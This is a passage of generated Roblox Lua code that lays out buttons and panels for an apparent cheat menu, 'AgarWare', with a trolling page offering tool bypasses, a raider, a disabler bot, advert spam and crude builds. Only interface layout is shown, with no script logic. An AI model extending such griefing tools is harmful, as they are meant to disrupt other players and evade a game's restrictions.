-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.ExploitsAccentColor
G2L["168"] = Instance.new("Frame", G2L["165"]);
G2L["168"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["168"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["168"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["168"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["168"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["168"]["Name"] = [[ExploitsAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.ExploitsTitle
G2L["169"] = Instance.new("TextLabel", G2L["165"]);
G2L["169"]["TextWrapped"] = true;
G2L["169"]["BorderSizePixel"] = 0;
G2L["169"]["TextSize"] = 14;
G2L["169"]["TextScaled"] = true;
G2L["169"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["169"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["169"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["169"]["BackgroundTransparency"] = 0.95;
G2L["169"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["169"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["169"]["Text"] = [[More scripts i made or edited]];
G2L["169"]["LayoutOrder"] = 1;
G2L["169"]["Name"] = [[ExploitsTitle]];
G2L["169"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.ExploitsTitle.ExploitsMinimize
G2L["16a"] = Instance.new("TextButton", G2L["169"]);
G2L["16a"]["BorderSizePixel"] = 0;
G2L["16a"]["TextSize"] = 14;
G2L["16a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["16a"]["BackgroundTransparency"] = 1;
G2L["16a"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["16a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16a"]["Text"] = [[-]];
G2L["16a"]["Name"] = [[ExploitsMinimize]];
G2L["16a"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UNRow
G2L["16b"] = Instance.new("Frame", G2L["165"]);
G2L["16b"]["BorderSizePixel"] = 0;
G2L["16b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16b"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["16b"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["16b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16b"]["Name"] = [[UNRow]];
G2L["16b"]["LayoutOrder"] = 4;
G2L["16b"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UNRow.UNScript
G2L["16c"] = Instance.new("LocalScript", G2L["16b"]);
G2L["16c"]["Name"] = [[UNScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UNRow.UNButton
G2L["16d"] = Instance.new("TextButton", G2L["16b"]);
G2L["16d"]["TextSize"] = 14;
G2L["16d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16d"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["16d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["16d"]["Size"] = UDim2.new(0, 135, 0, 16);
G2L["16d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["16d"]["Text"] = [[Part Abuse (READ)]];
G2L["16d"]["Name"] = [[UNButton]];
G2L["16d"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UNRow.UNHelp
G2L["16e"] = Instance.new("TextButton", G2L["16b"]);
G2L["16e"]["TextSize"] = 14;
G2L["16e"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["16e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["16e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["16e"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["16e"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["16e"]["Text"] = [[?]];
G2L["16e"]["Name"] = [[UNHelp]];
G2L["16e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.BBRow
G2L["16f"] = Instance.new("Frame", G2L["165"]);
G2L["16f"]["BorderSizePixel"] = 0;
G2L["16f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["16f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["16f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16f"]["Name"] = [[BBRow]];
G2L["16f"]["LayoutOrder"] = 4;
G2L["16f"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.BBRow.BBScript
G2L["170"] = Instance.new("LocalScript", G2L["16f"]);
G2L["170"]["Name"] = [[BBScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.BBRow.BBButton
G2L["171"] = Instance.new("TextButton", G2L["16f"]);
G2L["171"]["TextSize"] = 14;
G2L["171"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["171"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["171"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["171"]["Size"] = UDim2.new(0, 135, 0, 16);
G2L["171"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["171"]["Text"] = [[Bkit Disabler Bot]];
G2L["171"]["Name"] = [[BBButton]];
G2L["171"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.BBRow.BBHelp
G2L["172"] = Instance.new("TextButton", G2L["16f"]);
G2L["172"]["TextSize"] = 14;
G2L["172"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["172"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["172"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["172"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["172"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["172"]["Text"] = [[?]];
G2L["172"]["Name"] = [[BBHelp]];
G2L["172"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.FFRow
G2L["173"] = Instance.new("Frame", G2L["165"]);
G2L["173"]["BorderSizePixel"] = 0;
G2L["173"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["173"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["173"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["173"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["173"]["Name"] = [[FFRow]];
G2L["173"]["LayoutOrder"] = 4;
G2L["173"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.FFRow.FFScript
G2L["174"] = Instance.new("LocalScript", G2L["173"]);
G2L["174"]["Name"] = [[FFScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.FFRow.FFButton
G2L["175"] = Instance.new("TextButton", G2L["173"]);
G2L["175"]["TextSize"] = 14;
G2L["175"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["175"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["175"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["175"]["Size"] = UDim2.new(0, 135, 0, 16);
G2L["175"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["175"]["Text"] = [[Monkey Gang Raider]];
G2L["175"]["Name"] = [[FFButton]];
G2L["175"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.FFRow.FFHelp
G2L["176"] = Instance.new("TextButton", G2L["173"]);
G2L["176"]["TextSize"] = 14;
G2L["176"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["176"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["176"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["176"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["176"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["176"]["Text"] = [[?]];
G2L["176"]["Name"] = [[FFHelp]];
G2L["176"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup
G2L["177"] = Instance.new("Frame", G2L["12f"]);
G2L["177"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["177"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["177"]["Size"] = UDim2.new(0, 170, 0, 82);
G2L["177"]["Position"] = UDim2.new(0, 0, 0.58056, 0);
G2L["177"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["177"]["Name"] = [[WeirdGroup]];
G2L["177"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.WeirdScript
G2L["178"] = Instance.new("LocalScript", G2L["177"]);
G2L["178"]["Name"] = [[WeirdScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.UIListLayout
G2L["179"] = Instance.new("UIListLayout", G2L["177"]);
G2L["179"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.WeirdAccentColor
G2L["17a"] = Instance.new("Frame", G2L["177"]);
G2L["17a"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["17a"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["17a"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["17a"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["17a"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["17a"]["Name"] = [[WeirdAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.WeirdTitle
G2L["17b"] = Instance.new("TextLabel", G2L["177"]);
G2L["17b"]["TextWrapped"] = true;
G2L["17b"]["BorderSizePixel"] = 0;
G2L["17b"]["TextSize"] = 14;
G2L["17b"]["TextScaled"] = true;
G2L["17b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["17b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["17b"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["17b"]["BackgroundTransparency"] = 0.95;
G2L["17b"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["17b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17b"]["Text"] = [[idk i was bored]];
G2L["17b"]["LayoutOrder"] = 1;
G2L["17b"]["Name"] = [[WeirdTitle]];
G2L["17b"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.WeirdTitle.WeirdMinimize
G2L["17c"] = Instance.new("TextButton", G2L["17b"]);
G2L["17c"]["BorderSizePixel"] = 0;
G2L["17c"]["TextSize"] = 14;
G2L["17c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["17c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["17c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["17c"]["BackgroundTransparency"] = 1;
G2L["17c"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["17c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17c"]["Text"] = [[-]];
G2L["17c"]["Name"] = [[WeirdMinimize]];
G2L["17c"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.SpamAdvertRow
G2L["17d"] = Instance.new("Frame", G2L["177"]);
G2L["17d"]["BorderSizePixel"] = 0;
G2L["17d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["17d"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["17d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["17d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17d"]["Name"] = [[SpamAdvertRow]];
G2L["17d"]["LayoutOrder"] = 21;
G2L["17d"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.SpamAdvertRow.SpamAdvertScript
G2L["17e"] = Instance.new("LocalScript", G2L["17d"]);
G2L["17e"]["Name"] = [[SpamAdvertScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.SpamAdvertRow.SpamAdvertButton
G2L["17f"] = Instance.new("TextButton", G2L["17d"]);
G2L["17f"]["TextSize"] = 14;
G2L["17f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["17f"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["17f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["17f"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["17f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["17f"]["Text"] = [[Spam Adver Agar Ware]];
G2L["17f"]["Name"] = [[SpamAdvertButton]];
G2L["17f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBoomboxRow
G2L["180"] = Instance.new("Frame", G2L["177"]);
G2L["180"]["BorderSizePixel"] = 0;
G2L["180"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["180"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["180"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["180"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["180"]["Name"] = [[PPBoomboxRow]];
G2L["180"]["LayoutOrder"] = 20;
G2L["180"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBoomboxRow.PPBoomboxScript
G2L["181"] = Instance.new("LocalScript", G2L["180"]);
G2L["181"]["Name"] = [[PPBoomboxScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBoomboxRow.PPBoomboxButton
G2L["182"] = Instance.new("TextButton", G2L["180"]);
G2L["182"]["TextSize"] = 14;
G2L["182"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["182"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["182"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["182"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["182"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["182"]["Text"] = [[Make a PP (Boombox)]];
G2L["182"]["Name"] = [[PPBoomboxButton]];
G2L["182"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBkitRow
G2L["183"] = Instance.new("Frame", G2L["177"]);
G2L["183"]["BorderSizePixel"] = 0;
G2L["183"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["183"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["183"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["183"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["183"]["Name"] = [[PPBkitRow]];
G2L["183"]["LayoutOrder"] = 20;
G2L["183"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBkitRow.PPBkitScript
G2L["184"] = Instance.new("LocalScript", G2L["183"]);
G2L["184"]["Name"] = [[PPBkitScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBkitRow.PPBkitButton
G2L["185"] = Instance.new("TextButton", G2L["183"]);
G2L["185"]["TextSize"] = 14;
G2L["185"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["185"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["185"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["185"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["185"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["185"]["Text"] = [[Make a PP (Bkit)]];
G2L["185"]["Name"] = [[PPBkitButton]];
G2L["185"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide
G2L["186"] = Instance.new("Frame", G2L["12e"]);
G2L["186"]["BorderSizePixel"] = 0;
G2L["186"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["186"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["186"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["186"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["186"]["Name"] = [[TCOTrollLeftSide]];
G2L["186"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.UIListLayout
G2L["187"] = Instance.new("UIListLayout", G2L["186"]);
G2L["187"]["Padding"] = UDim.new(0, 7);
G2L["187"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup
G2L["188"] = Instance.new("Frame", G2L["186"]);
G2L["188"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["188"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["188"]["Size"] = UDim2.new(0, 170, 0, 144);
G2L["188"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["188"]["Name"] = [[BypassGroup]];
G2L["188"]["LayoutOrder"] = 3;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassScript
G2L["189"] = Instance.new("LocalScript", G2L["188"]);
G2L["189"]["Name"] = [[BypassScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassToolTip
G2L["18a"] = Instance.new("LocalScript", G2L["188"]);
G2L["18a"]["Name"] = [[BypassToolTip]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.UIListLayout
G2L["18b"] = Instance.new("UIListLayout", G2L["188"]);
G2L["18b"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassAccentColor
G2L["18c"] = Instance.new("Frame", G2L["188"]);
G2L["18c"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["18c"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["18c"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["18c"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["18c"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["18c"]["Name"] = [[BypassAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassTitle
G2L["18d"] = Instance.new("TextLabel", G2L["188"]);
G2L["18d"]["TextWrapped"] = true;
G2L["18d"]["BorderSizePixel"] = 0;
G2L["18d"]["TextSize"] = 14;
G2L["18d"]["TextScaled"] = true;
G2L["18d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["18d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["18d"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["18d"]["BackgroundTransparency"] = 0.95;
G2L["18d"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["18d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18d"]["Text"] = [[Tool Bypass]];
G2L["18d"]["LayoutOrder"] = 1;
G2L["18d"]["Name"] = [[BypassTitle]];
G2L["18d"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassTitle.BypassMinimize
G2L["18e"] = Instance.new("TextButton", G2L["18d"]);
G2L["18e"]["BorderSizePixel"] = 0;
G2L["18e"]["TextSize"] = 14;
G2L["18e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["18e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["18e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["18e"]["BackgroundTransparency"] = 1;
G2L["18e"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["18e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18e"]["Text"] = [[-]];
G2L["18e"]["Name"] = [[BypassMinimize]];
G2L["18e"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.PaintBypassRow
G2L["18f"] = Instance.new("Frame", G2L["188"]);
G2L["18f"]["BorderSizePixel"] = 0;
G2L["18f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["18f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["18f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["18f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18f"]["Name"] = [[PaintBypassRow]];
G2L["18f"]["LayoutOrder"] = 5;
G2L["18f"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.PaintBypassRow.PaintBypassScript
G2L["190"] = Instance.new("LocalScript", G2L["18f"]);
G2L["190"]["Name"] = [[PaintBypassScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.PaintBypassRow.PaintBypassTickBox
G2L["191"] = Instance.new("TextButton", G2L["18f"]);
G2L["191"]["TextSize"] = 14;
G2L["191"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["191"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["191"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["191"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["191"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["191"]["Text"] = [[]];
G2L["191"]["Name"] = [[PaintBypassTickBox]];
G2L["191"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.PaintBypassRow.PaintBypassText
G2L["192"] = Instance.new("TextLabel", G2L["18f"]);
G2L["192"]["BorderSizePixel"] = 0;
G2L["192"]["TextSize"] = 14;
G2L["192"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["192"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["192"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["192"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["192"]["BackgroundTransparency"] = 1;
G2L["192"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["192"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["192"]["Text"] = [[Paint]];
G2L["192"]["Name"] = [[PaintBypassText]];
G2L["192"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.DeleteBypassRow
G2L["193"] = Instance.new("Frame", G2L["188"]);
G2L["193"]["BorderSizePixel"] = 0;
G2L["193"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["193"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["193"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["193"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["193"]["Name"] = [[DeleteBypassRow]];
G2L["193"]["LayoutOrder"] = 4;
G2L["193"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.DeleteBypassRow.DeleteBypassScript
G2L["194"] = Instance.new("LocalScript", G2L["193"]);
G2L["194"]["Name"] = [[DeleteBypassScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.DeleteBypassRow.DeleteBypassTickBox
G2L["195"] = Instance.new("TextButton", G2L["193"]);
G2L["195"]["TextSize"] = 14;
G2L["195"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["195"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["195"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["195"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["195"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["195"]["Text"] = [[]];
G2L["195"]["Name"] = [[DeleteBypassTickBox]];
G2L["195"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.DeleteBypassRow.DeleteBypassText
G2L["196"] = Instance.new("TextLabel", G2L["193"]);
G2L["196"]["BorderSizePixel"] = 0;
G2L["196"]["TextSize"] = 14;
G2L["196"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["196"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["196"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["196"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["196"]["BackgroundTransparency"] = 1;
G2L["196"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["196"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["196"]["Text"] = [[Delete]];
G2L["196"]["Name"] = [[DeleteBypassText]];
G2L["196"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShapeBypassRow
G2L["197"] = Instance.new("Frame", G2L["188"]);
G2L["197"]["BorderSizePixel"] = 0;
G2L["197"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
